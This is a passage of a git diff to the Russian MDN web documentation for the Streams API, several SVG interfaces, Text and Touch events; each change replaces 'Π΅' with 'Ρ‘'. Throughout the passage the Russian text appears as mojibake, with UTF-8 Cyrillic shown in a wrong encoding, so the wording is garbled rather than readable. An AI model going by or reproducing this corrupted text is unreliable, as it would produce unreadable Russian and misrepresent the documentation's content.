- <dd>ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΡΡ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½ΡƒΡŽ Π°Π±ΡΡ‚Ρ€Π°ΠΊΡ†ΠΈΡŽ, ΠΈΠ·Π²Π΅ΡΡ‚Π½ΡƒΡŽ ΠΊΠ°ΠΊ Ρ€Π°ΠΊΠΎΠ²ΠΈΠ½Π°, для записи ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ² ΠΏΠΎ мСсту назначСния. Π­Ρ‚ΠΎΡ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΠ΄Π΅Ρ‚ вмСстС со встроСнными ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ контроля ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° ΠΈ созданиСм ΠΎΡ‡Π΅Ρ€Π΅Π΄Π΅ΠΉ.</dd>
+ <dd>ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΡΡ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½ΡƒΡŽ Π°Π±ΡΡ‚Ρ€Π°ΠΊΡ†ΠΈΡŽ, ΠΈΠ·Π²Π΅ΡΡ‚Π½ΡƒΡŽ ΠΊΠ°ΠΊ Ρ€Π°ΠΊΠΎΠ²ΠΈΠ½Π°, для записи ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ² ΠΏΠΎ мСсту назначСния. Π­Ρ‚ΠΎΡ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΠ΄Ρ‘Ρ‚ вмСстС со встроСнными ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ контроля ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° ΠΈ созданиСм ΠΎΡ‡Π΅Ρ€Π΅Π΄Π΅ΠΉ.</dd>
<dt>{{domxref("WritableStreamDefaultWriter")}}</dt>
<dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ запись ΠΏΠΎΡ‚ΠΎΠΊΠ° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, которая ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для записи Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ… Π² записываСмый ΠΏΠΎΡ‚ΠΎΠΊ.</dd>
<dt>{{domxref("WritableStreamDefaultController")}}</dt>
- <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ собой ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ состояния {{domxref("WritableStream")}}. ΠŸΡ€ΠΈ создании <code>WritableStream</code>, создаСтся Ρ‚Π°ΠΊΠΆΠ΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ экзСмпляр <code>WritableStreamDefaultController</code>.</dd>
+ <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ собой ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ состояния {{domxref("WritableStream")}}. ΠŸΡ€ΠΈ создании <code>WritableStream</code>, создаётся Ρ‚Π°ΠΊΠΆΠ΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ экзСмпляр <code>WritableStreamDefaultController</code>.</dd>
</dl>
<h3 id="Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅_API_ΠΈ_ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ_ΠΏΠΎ_Ρ€Π°Π±ΠΎΡ‚Π΅_с_ΠΏΠΎΡ‚ΠΎΠΊΠ°ΠΌΠΈ">Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ APIΒ ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ ΠΏΠΎ Ρ€Π°Π±ΠΎΡ‚Π΅ с ΠΏΠΎΡ‚ΠΎΠΊΠ°ΠΌΠΈ</h3>
@@ -59,7 +59,7 @@ translation_of: Web/API/Streams_API
<dt>{{domxref("ByteLengthQueuingStrategy")}}</dt>
<dd>ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚Β Π²ΡΡ‚Ρ€ΠΎΠ΅Π½Π½ΡƒΡŽ ΡΡ‚Ρ€Π°Ρ‚Π΅Π³ΠΈΡŽ Π΄Π»ΠΈΠ½Ρ‹ Π±Π°ΠΉΡ‚-ΠΎΡ‡Π΅Ρ€Π΅Π΄ΠΈ, которая ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использована ΠΏΡ€ΠΈ построСнии ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ².</dd>
<dt>{{domxref("CountQueuingStrategy")}}</dt>
- <dd>ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ Π²ΡΡ‚Ρ€ΠΎΠ΅Π½Π½ΡƒΡŽ ΡΡ‚Ρ€Π°Ρ‚Π΅Π³ΠΈΡŽ ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΎΡ‡Π΅Ρ€Π΅Π΄Π΅ΠΉ подсчСта Ρ‡Π°Π½ΠΊΠΎΠ², которая ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΈ построСнии ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ².</dd>
+ <dd>ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ Π²ΡΡ‚Ρ€ΠΎΠ΅Π½Π½ΡƒΡŽ ΡΡ‚Ρ€Π°Ρ‚Π΅Π³ΠΈΡŽ ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΎΡ‡Π΅Ρ€Π΅Π΄Π΅ΠΉ подсчёта Ρ‡Π°Π½ΠΊΠΎΠ², которая ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΈ построСнии ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ².</dd>
</dl>
<h3 id="ДополнСния_ΠΊ_Π΄Ρ€ΡƒΠ³ΠΈΠΌ_API">ДополнСния ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠΌ API</h3>
@@ -68,7 +68,7 @@ translation_of: Web/API/Streams_API
<dt>{{domxref("Request")}}</dt>
<dd>ΠŸΡ€ΠΈ создании Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Ρ‚ΠΈΠΏΠ°Β <code>Request</code>, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒΒ {{domxref("ReadableStream")}} Π² свойство <code>body</code>Β Π΅Π³ΠΎ словаря <code>RequestInit</code>.Β  Π­Ρ‚ΠΎΡ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ°Β <code>Request</code>Β ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ Π²Β  {{domxref("WindowOrWorkerGlobalScope.fetch()")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ ΠΏΠΎΡ‚ΠΎΠΊΠ°.</dd>
<dt>{{domxref("Body")}}</dt>
- <dd>ΠžΡ‚Π²Π΅Ρ‚ {{domxref("Body")}} Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½Ρ‹ΠΉ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΌΡƒΒ <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросу</a>Β Π²Ρ‹Π²Π΅ΡˆΠΈΠ²Π°Π΅Ρ‚ΡΡ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΊΠ°ΠΊ {{domxref("ReadableStream")}}, ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ получатСля ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΊ Π½Π΅ΠΌΡƒ ΠΈ Ρ‚ΠΏ.</dd>
+ <dd>ΠžΡ‚Π²Π΅Ρ‚ {{domxref("Body")}} Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΌΡƒΒ <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросу</a>Β Π²Ρ‹Π²Π΅ΡˆΠΈΠ²Π°Π΅Ρ‚ΡΡ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΊΠ°ΠΊ {{domxref("ReadableStream")}}, ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ получатСля ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΊ Π½Π΅ΠΌΡƒ ΠΈ Ρ‚ΠΏ.</dd>
</dl>
<h3 id="Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡΡ‹_Π²_Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅_ΠΊ_ByteStream">Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡΡ‹ Π² Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΒ ByteStream</h3>
diff --git a/files/ru/web/api/svgaelement/index.html b/files/ru/web/api/svgaelement/index.html
index 7bd391a9ff..16d0806808 100644
--- a/files/ru/web/api/svgaelement/index.html
+++ b/files/ru/web/api/svgaelement/index.html
@@ -23,7 +23,7 @@ translation_of: Web/API/SVGAElement
<dt>{{domxref("SVGAElement.hreflang")}}</dt>
<dd>ЯвляСтся {{domxref("DOMString")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΡ‚Ρ€Π°ΠΆΠ°Π΅Ρ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>hreflang</code>, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ язык связанного рСсурса.</dd>
<dt>{{domxref("SVGAElement.ping")}}</dt>
- <dd>ЯвляСтся {{domxref("DOMString")}}, отраТая атрибут ping, содСрТащий список URL-адрСсов, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ, ΠΊΠΎΠ³Π΄Π° выполняСтся гипСрссылка, {{HTTPMethod("POST")}} запрос с Ρ‚Π΅Π»ΠΎΠΌΒ <code>PING</code>Β Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ (Π² Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅). ΠžΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для отслСТивания.</dd>
+ <dd>ЯвляСтся {{domxref("DOMString")}}, отраТая атрибут ping, содСрТащий список URL-адрСсов, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ, ΠΊΠΎΠ³Π΄Π° выполняСтся гипСрссылка, {{HTTPMethod("POST")}} запрос с Ρ‚Π΅Π»ΠΎΠΌΒ <code>PING</code>Β Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ (Π² Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅). ΠžΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для отслСТивания.</dd>
<dt>{{domxref("SVGAElement.referrerPolicy")}}</dt>
<dd>Π‘ΠΌ. {{domxref("HTMLAnchorElement.referrerPolicy")}}.</dd>
<dt>{{domxref("SVGAElement.rel")}}</dt>
diff --git a/files/ru/web/api/svgaelement/target/index.html b/files/ru/web/api/svgaelement/target/index.html
index d8e3ba1aa2..4af2cede02 100644
--- a/files/ru/web/api/svgaelement/target/index.html
+++ b/files/ru/web/api/svgaelement/target/index.html
@@ -48,7 +48,7 @@ linkRef.target ='_blank';
<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° пСрСнос.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° пСрСнос.</div>
<p>{{Compat("api.SVGAElement.target")}}</p>
diff --git a/files/ru/web/api/svggraphicselement/index.html b/files/ru/web/api/svggraphicselement/index.html
index 86f9e76035..eca4dd9c22 100644
--- a/files/ru/web/api/svggraphicselement/index.html
+++ b/files/ru/web/api/svggraphicselement/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/SVGGraphicsElement
<p>{{InheritanceDiagram(600, 120)}}</p>
<div class="note">
-<p><strong>Note:</strong> Π­Ρ‚ΠΎΡ‚ интСрфСйс Π±Ρ‹Π» Π²Π²Π΅Π΄Π΅Π½ Π² SVG 2 ΠΈ замСняСт интСрфСйсы  {{domxref("SVGLocatable")}} ΠΈ {{domxref("SVGTransformable")}} ΠΈΠ·Β SVG 1.1.</p>
+<p><strong>Note:</strong> Π­Ρ‚ΠΎΡ‚ интСрфСйс Π±Ρ‹Π» Π²Π²Π΅Π΄Ρ‘Π½ Π² SVG 2 ΠΈ замСняСт интСрфСйсы  {{domxref("SVGLocatable")}} ΠΈ {{domxref("SVGTransformable")}} ΠΈΠ·Β SVG 1.1.</p>
</div>
<h2 id="Бвойства">Бвойства</h2>
diff --git a/files/ru/web/api/svgtextcontentelement/index.html b/files/ru/web/api/svgtextcontentelement/index.html
index 384958a557..8a7c2f356f 100644
--- a/files/ru/web/api/svgtextcontentelement/index.html
+++ b/files/ru/web/api/svgtextcontentelement/index.html
@@ -93,7 +93,7 @@ translation_of: Web/API/SVGTextContentElement
<tr>
<td>{{SpecName("SVG2", "text.html#InterfaceSVGTextContentElement", "SVGTextContentElement")}}</td>
<td>{{Spec2("SVG2")}}</td>
- <td>ИзмСнСнноС наслСдованиС ΠΎΡ‚ {{domxref("SVGElement")}} Π΄ΠΎ {{domxref("SVGGraphicsElement")}} ΠΈ <code>getStartPositionOfChar()</code> ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹Ρ… Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΉ {{domxref("SVGTests")}}, {{domxref("SVGLangSpace" )}}, {{domxref("SVGExternalResourcesRequired")}}, {{domxref("SVGStylable")}} интСрфСйсов ΠΈ <code>getEndPositionOfChar()</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ {{domxref("DOMPoint")}} вмСсто {{domxref( "SVGPoint")}}.</td>
+ <td>Π˜Π·ΠΌΠ΅Π½Ρ‘Π½Π½ΠΎΠ΅ наслСдованиС ΠΎΡ‚ {{domxref("SVGElement")}} Π΄ΠΎ {{domxref("SVGGraphicsElement")}} ΠΈ <code>getStartPositionOfChar()</code> ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹Ρ… Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΉ {{domxref("SVGTests")}}, {{domxref("SVGLangSpace" )}}, {{domxref("SVGExternalResourcesRequired")}}, {{domxref("SVGStylable")}} интСрфСйсов ΠΈ <code>getEndPositionOfChar()</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ {{domxref("DOMPoint")}} вмСсто {{domxref( "SVGPoint")}}.</td>
</tr>
<tr>
<td>{{SpecName("SVG1.1", "text.html#InterfaceSVGTextContentElement", "SVGTextContentElement")}}</td>
@@ -105,6 +105,6 @@ translation_of: Web/API/SVGTextContentElement
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° пСрСнос.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° пСрСнос.</div>
<p>{{Compat("api.SVGTextContentElement")}}</p>
diff --git a/files/ru/web/api/svgtextelement/index.html b/files/ru/web/api/svgtextelement/index.html
index f1e27d56a3..2ccbf4d576 100644
--- a/files/ru/web/api/svgtextelement/index.html
+++ b/files/ru/web/api/svgtextelement/index.html
@@ -34,7 +34,7 @@ translation_of: Web/API/SVGTextElement
<td>{{SpecName("SVG2", "text.html#InterfaceSVGTextElement", "SVGTextElement")}}</td>
<td>{{Spec2("SVG2")}}</td>
<td>
- <p>Π£Π΄Π°Π»Π΅Π½ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ<br>
+ <p>Π£Π΄Π°Π»Ρ‘Π½ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ<br>
интСрфСйс {{domxref("SVGTransformable")}}.</p>
</td>
</tr>
@@ -49,7 +49,7 @@ translation_of: Web/API/SVGTextElement
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ</h2>
<div>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° пСрСнос.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° пСрСнос.</div>
<p>{{Compat("api.SVGTextElement")}}</p>
</div>
diff --git a/files/ru/web/api/text/index.html b/files/ru/web/api/text/index.html
index f8e5f25f0e..625848211b 100644
--- a/files/ru/web/api/text/index.html
+++ b/files/ru/web/api/text/index.html
@@ -32,7 +32,7 @@ translation_of: Web/API/Text
<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ„Π»Π°Π³ {{domxref("Boolean")}}, ΡΠΈΠ³Π½Π°Π»ΠΈΠ·ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉ, содСрТит Π»ΠΈ (ΠΈΠ»ΠΈ Π½Π΅Ρ‚) text node Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΎΠ±Π΅Π»(Ρ‹).</p>
</dd>
<dt>{{domxref("Text.wholeText")}} {{readonlyInline}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("DOMString")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит всС <code>Text</code> nodes логичСски ΠΏΡ€ΠΈΠΌΡ‹ΠΊΠ°ΡŽΡ‰ΠΈΠ΅ ΠΊ этому {{domxref("Node")}}, соСдинСнныС ΠΊΠ°ΠΊ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("DOMString")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит всС <code>Text</code> nodes логичСски ΠΏΡ€ΠΈΠΌΡ‹ΠΊΠ°ΡŽΡ‰ΠΈΠ΅ ΠΊ этому {{domxref("Node")}}, соСдинённыС ΠΊΠ°ΠΊ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅.</dd>
<dt>{{domxref("Text.assignedSlot")}} {{readonlyinline}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("HTMLSlotElement")}}, связанный с этим элСмСнтом.</dd>
</dl>
@@ -76,7 +76,7 @@ translation_of: Web/API/Text
<td>{{SpecName('DOM WHATWG', '#text', 'Text')}}</td>
<td>{{Spec2('DOM WHATWG')}}</td>
<td>Π£Π΄Π°Π»Π΅Π½ΠΎ свойство <code>isElementContentWhitespace</code>.<br>
- <code>Π£Π΄Π°Π»Π΅Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄ replaceWholeText()</code>.<br>
+ <code>Π£Π΄Π°Π»Ρ‘Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄ replaceWholeText()</code>.<br>
Π”ΠΎΠ±Π°Π²Π»Π΅Π½ конструктор <code>Text()</code>.<br>
Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΎ свойство <code>assignedSlot</code>.</td>
</tr>
diff --git a/files/ru/web/api/touch_events/index.html b/files/ru/web/api/touch_events/index.html
index 0784963a41..fd86517821 100644
--- a/files/ru/web/api/touch_events/index.html
+++ b/files/ru/web/api/touch_events/index.html
@@ -93,7 +93,7 @@ Log: &lt;pre id="log" style="border: 1px solid #ccc;"&gt;&lt;/pre&gt;</pre>
}
</pre>
-<p>Она Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ {{domxref("event.preventDefault()")}} для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ события касания (это Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ ΡΠΎΠ±Ρ‹Ρ‚ΠΈΡΒ ΠΌΡ‹ΡˆΠΈ). Π—Π°Ρ‚Π΅ΠΌΒ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ контСкст ΠΈ ΠΈΠ·Π²Π»Π΅ΠΊΠ°Π΅ΠΌ список ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π½Ρ‹Ρ… Ρ‚ΠΎΡ‡Π΅ΠΊ касаний ΠΈΠ· свойства {{domxref("TouchEvent.changedTouches")}} Π΄Π°Π½Π½ΠΎΠ³ΠΎ события.</p>
